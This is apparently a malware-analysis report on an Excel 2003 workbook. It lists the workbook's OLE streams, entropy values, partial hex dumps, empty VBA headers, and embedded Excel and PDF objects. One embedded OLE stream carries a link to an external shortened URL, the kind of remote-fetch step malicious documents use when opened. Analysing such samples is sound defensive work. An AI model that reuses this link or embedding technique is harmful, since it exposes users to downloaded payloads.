                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0
                                                                                                                                                                Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 a3 ae c9 9f 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                VBA Code
                                                                                                                                                                Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                                                                                                                                                VBA File Name: ThisWorkbook.cls, Stream Size: 985
                                                                                                                                                                General
                                                                                                                                                                Stream Path:_VBA_PROJECT_CUR/VBA/ThisWorkbook
                                                                                                                                                                VBA File Name:ThisWorkbook.cls
                                                                                                                                                                Stream Size:985
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . - . 0 .
                                                                                                                                                                Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 a3 ae c0 dd 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                VBA Code
                                                                                                                                                                Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                                                                                                                                                Streams

                                                                                                                                                                Stream Path: \x1CompObj, File Type: data, Stream Size: 114
                                                                                                                                                                General
                                                                                                                                                                Stream Path:\x1CompObj
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:114
                                                                                                                                                                Entropy:4.25248375192737
                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
                                                                                                                                                                Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244
                                                                                                                                                                General
                                                                                                                                                                Stream Path:\x5DocumentSummaryInformation
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:244
                                                                                                                                                                Entropy:2.889430592781307
                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
                                                                                                                                                                Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00
                                                                                                                                                                Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200
                                                                                                                                                                General
                                                                                                                                                                Stream Path:\x5SummaryInformation
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:200
                                                                                                                                                                Entropy:3.2403503175049817
                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . | . # . @ . . . . . ' Y A . . . . . . . . .
                                                                                                                                                                Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00
                                                                                                                                                                Stream Path: MBD0087384E/\x1CompObj, File Type: data, Stream Size: 114
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/\x1CompObj
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:114
                                                                                                                                                                Entropy:4.25248375192737
                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
                                                                                                                                                                Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                Stream Path: MBD0087384E/\x5DocumentSummaryInformation, File Type: data, Stream Size: 248
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/\x5DocumentSummaryInformation
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:248
                                                                                                                                                                Entropy:2.8688274782657706
                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . W a l s h i p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F e u i l 1 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . . . .
                                                                                                                                                                Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c8 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 68 00 00 00 0b 00 00 00 70 00 00 00 10 00 00 00 78 00 00 00 13 00 00 00 80 00 00 00 16 00 00 00 88 00 00 00 0d 00 00 00 90 00 00 00 0c 00 00 00 a3 00 00 00
                                                                                                                                                                Stream Path: MBD0087384E/\x5SummaryInformation, File Type: dBase III DBT, version number 0, next free block index 65534, 1st item "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\355\355\355PPP\374\374\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", Stream Size: 117868
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/\x5SummaryInformation
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:dBase III DBT, version number 0, next free block index 65534, 1st item "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\355\355\355PPP\374\374\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
                                                                                                                                                                Stream Size:117868
                                                                                                                                                                Entropy:3.7414491791536952
                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . < . . . . . . . . . . P . . . . . . . X . . . . . . . l . . . . . . . | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P c W a l s h i p . . . . . . . . . . . 9 1 9 7 4 . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . 7 . @ . . . . . @ . . . . < z 3 . . . . . . . . . G . . . t . . . . . . . . u . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . .
                                                                                                                                                                Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 3c cc 01 00 09 00 00 00 01 00 00 00 50 00 00 00 04 00 00 00 58 00 00 00 08 00 00 00 6c 00 00 00 12 00 00 00 7c 00 00 00 0b 00 00 00 94 00 00 00 0c 00 00 00 a0 00 00 00 0d 00 00 00 ac 00 00 00 13 00 00 00 b8 00 00 00 11 00 00 00 c0 00 00 00
                                                                                                                                                                Stream Path: MBD0087384E/MBD0145F583/\x1CompObj, File Type: data, Stream Size: 114
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/MBD0145F583/\x1CompObj
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:114
                                                                                                                                                                Entropy:4.219515110876372
                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                Data ASCII:. . . . . . 0 . . . . . . . . . . . . . F ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . E x c e l . S h e e t . 1 2 . 9 q . . . . . . . . . . . .
                                                                                                                                                                Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 30 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 0f 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 31 32 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                Stream Path: MBD0087384E/MBD0145F583/Package, File Type: Microsoft Excel 2007+, Stream Size: 22251
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/MBD0145F583/Package
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:Microsoft Excel 2007+
                                                                                                                                                                Stream Size:22251
                                                                                                                                                                Entropy:7.612475685241722
                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                Data ASCII:P K . . . . . . . . . . ! . . z > . . . 8 . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                                                                                                                Data Raw:50 4b 03 04 14 00 06 00 08 00 00 00 21 00 c1 0c 7a 3e 86 01 00 00 38 05 00 00 13 00 cd 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 c9 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                Stream Path: MBD0087384E/MBD0145F818/\x1CompObj, File Type: data, Stream Size: 94
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/MBD0145F818/\x1CompObj
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:94
                                                                                                                                                                Entropy:4.345966460061678
                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                Data ASCII:. . . . . . e . . D E S T . . . . . . A c r o b a t D o c u m e n t . . . . . . . . . A c r o E x c h . D o c u m e n t . D C . 9 q . . . . . . . . . . . .
                                                                                                                                                                Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 65 ca 01 b8 fc a1 d0 11 85 ad 44 45 53 54 00 00 11 00 00 00 41 63 72 6f 62 61 74 20 44 6f 63 75 6d 65 6e 74 00 00 00 00 00 15 00 00 00 41 63 72 6f 45 78 63 68 2e 44 6f 63 75 6d 65 6e 74 2e 44 43 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                Stream Path: MBD0087384E/MBD0145F818/\x1Ole, File Type: data, Stream Size: 64
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/MBD0145F818/\x1Ole
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:64
                                                                                                                                                                Entropy:2.904417186688699
                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . 0 . . . . . . . . . . . . . . . . . F . . . . ! . . . . . F e u i l 1 ! O b j e c t 1 3 3 .
                                                                                                                                                                Data Raw:01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 30 00 00 00 04 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 02 00 00 00 21 00 12 00 00 00 46 65 75 69 6c 31 21 4f 62 6a 65 63 74 20 31 33 33 00
                                                                                                                                                                Stream Path: MBD0087384E/MBD0145F818/CONTENTS, File Type: PDF document, version 1.3, 1 pages, Stream Size: 50134
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/MBD0145F818/CONTENTS
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:PDF document, version 1.3, 1 pages
                                                                                                                                                                Stream Size:50134
                                                                                                                                                                Entropy:7.717515618096627
                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                Data ASCII:% P D F - 1 . 3 . % . . 1 0 o b j . < < . / T y p e / P a g e . / M e d i a B o x [ 0 0 5 9 4 . 3 6 8 4 0 . 6 0 ] . / C r o p B o x [ 0 0 5 9 4 . 3 6 8 4 0 . 6 0 ] . / P a r e n t 2 0 R . / R o t a t e 0 / R e s o u r c e s < < . / P r o c S e t [ / P D F / I m a g e C / I m a g e B / I m a g e I ] . / X O b j e c t < < . / O b j 3 3 0 R > > . > > . / C o n t e n t s [ 4 0 R ] . > > . e n d o b j . 3 0 o b j . < < / T y p e / X O b
                                                                                                                                                                Data Raw:25 50 44 46 2d 31 2e 33 0d 25 e2 e3 cf d3 0d 0d 31 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 54 79 70 65 20 2f 50 61 67 65 0a 2f 4d 65 64 69 61 42 6f 78 20 5b 30 20 30 20 35 39 34 2e 33 36 20 38 34 30 2e 36 30 5d 0a 2f 43 72 6f 70 42 6f 78 20 5b 30 20 30 20 35 39 34 2e 33 36 20 38 34 30 2e 36 30 5d 0a 2f 50 61 72 65 6e 74 20 32 20 30 20 52 0a 2f 52 6f 74 61 74 65 20 30 20 2f 52 65 73 6f 75
                                                                                                                                                                Stream Path: MBD0087384E/MBD01462F13/\x1CompObj, File Type: data, Stream Size: 114
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/MBD01462F13/\x1CompObj
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:114
                                                                                                                                                                Entropy:4.219515110876372
                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                Data ASCII:. . . . . . 0 . . . . . . . . . . . . . F ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . E x c e l . S h e e t . 1 2 . 9 q . . . . . . . . . . . .
                                                                                                                                                                Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 30 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 0f 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 31 32 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                Stream Path: MBD0087384E/MBD01462F13/Package, File Type: Microsoft Excel 2007+, Stream Size: 66298
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/MBD01462F13/Package
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:Microsoft Excel 2007+
                                                                                                                                                                Stream Size:66298
                                                                                                                                                                Entropy:7.892486361087618
                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                Data ASCII:P K . . . . . . . . . . ! . e . , . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                                                                                                                Data Raw:50 4b 03 04 14 00 06 00 08 00 00 00 21 00 65 8c 03 2c b7 01 00 00 9e 06 00 00 13 00 d4 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 d0 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                Stream Path: MBD0087384E/MBD01463AB5/\x1CompObj, File Type: data, Stream Size: 114
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/MBD01463AB5/\x1CompObj
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:114
                                                                                                                                                                Entropy:4.25248375192737
                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
                                                                                                                                                                Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                Stream Path: MBD0087384E/MBD01463AB5/\x5DocumentSummaryInformation, File Type: data, Stream Size: 708
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/MBD01463AB5/\x5DocumentSummaryInformation
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:708
                                                                                                                                                                Entropy:3.6235698530352805
                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , D . . . . . . . . . . + , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . . . 0 . . . . . . . 8 . . . . . . . @ . . . . . . . H . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                                                                                                                Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 44 00 00 00 05 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 20 02 00 00 dc 01 00 00 14 00 00 00 01 00 00 00 a8 00 00 00 02 00 00 00 b0 00 00 00 03 00 00 00 bc 00 00 00 0e 00 00 00 c8 00 00 00 0f 00 00 00 d4 00 00 00 04 00 00 00 e0 00 00 00 05 00 00 00
                                                                                                                                                                Stream Path: MBD0087384E/MBD01463AB5/\x5SummaryInformation, File Type: data, Stream Size: 23248
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/MBD01463AB5/\x5SummaryInformation
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:23248
                                                                                                                                                                Entropy:3.026179220197763
                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . Z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . , . . . . . . . 4 . . . . . . . < . . . . . . . D . . . . . . . L . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . v i v i e n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                                                                                                                Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 5a 00 00 11 00 00 00 01 00 00 00 90 00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 a4 00 00 00 04 00 00 00 b0 00 00 00 05 00 00 00 c0 00 00 00 06 00 00 00 cc 00 00 00 07 00 00 00 d8 00 00 00 08 00 00 00 e4 00 00 00 09 00 00 00 f4 00 00 00
                                                                                                                                                                Stream Path: MBD0087384E/MBD01463AB5/Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 97808
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/MBD01463AB5/Workbook
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:Applesoft BASIC program data, first line number 16
                                                                                                                                                                Stream Size:97808
                                                                                                                                                                Entropy:7.365522783516277
                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . 9 1 9 7 4 B . . . . a . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . P . 9 . . . . . . . X . @ . . . . . . . . . . " . . . . . . . . . . . . . . .
                                                                                                                                                                Data Raw:09 08 10 00 00 06 05 00 ab 1f cd 07 c9 00 02 00 06 04 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 00 39 31 39 37 34 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                Stream Path: MBD0087384E/Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 354965
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384E/Workbook
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:Applesoft BASIC program data, first line number 16
                                                                                                                                                                Stream Size:354965
                                                                                                                                                                Entropy:7.8032787826227565
                                                                                                                                                                Base64 Encoded:True
                                                                                                                                                                Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . 9 1 9 7 4 B . . . . a . . . . . . . . = . . . . . . . . . . . . . . . . 9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . x . x < $ 9 . . . . . . . X . @ . . . . . . . . . . " . . . . . . . . . . . . . . . .
                                                                                                                                                                Data Raw:09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 00 39 31 39 37 34 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                Stream Path: MBD0087384F/\x1Ole, File Type: data, Stream Size: 920
                                                                                                                                                                General
                                                                                                                                                                Stream Path:MBD0087384F/\x1Ole
                                                                                                                                                                CLSID:
                                                                                                                                                                File Type:data
                                                                                                                                                                Stream Size:920
                                                                                                                                                                Entropy:4.88350975329131
                                                                                                                                                                Base64 Encoded:False
                                                                                                                                                                Data ASCII:. . . . % h 0 l 3 c . . . . . . . . . . . . H . . . y . . . K . D . . . h . t . t . p . s . : . / . / . l . j . g . . . c . l . / . f . W . s . m . ? . & . l . y . n . x . = . w . i . c . k . e . d . & . c . a . l . m . = . u . n . i . n . t . e . r . e . s . t . e . d . & . v . e . n . e . z . u . e . l . a . n . = . t . a . l . l . & . a . l . i . b . i . = . v . i . c . t . o . r . i . o . u . s . & . p . o . s . t . a . g . e . = . r . o . u . n . d . & . p . l . a . s . t . e . r . . . J ^ A } Y 2 v A
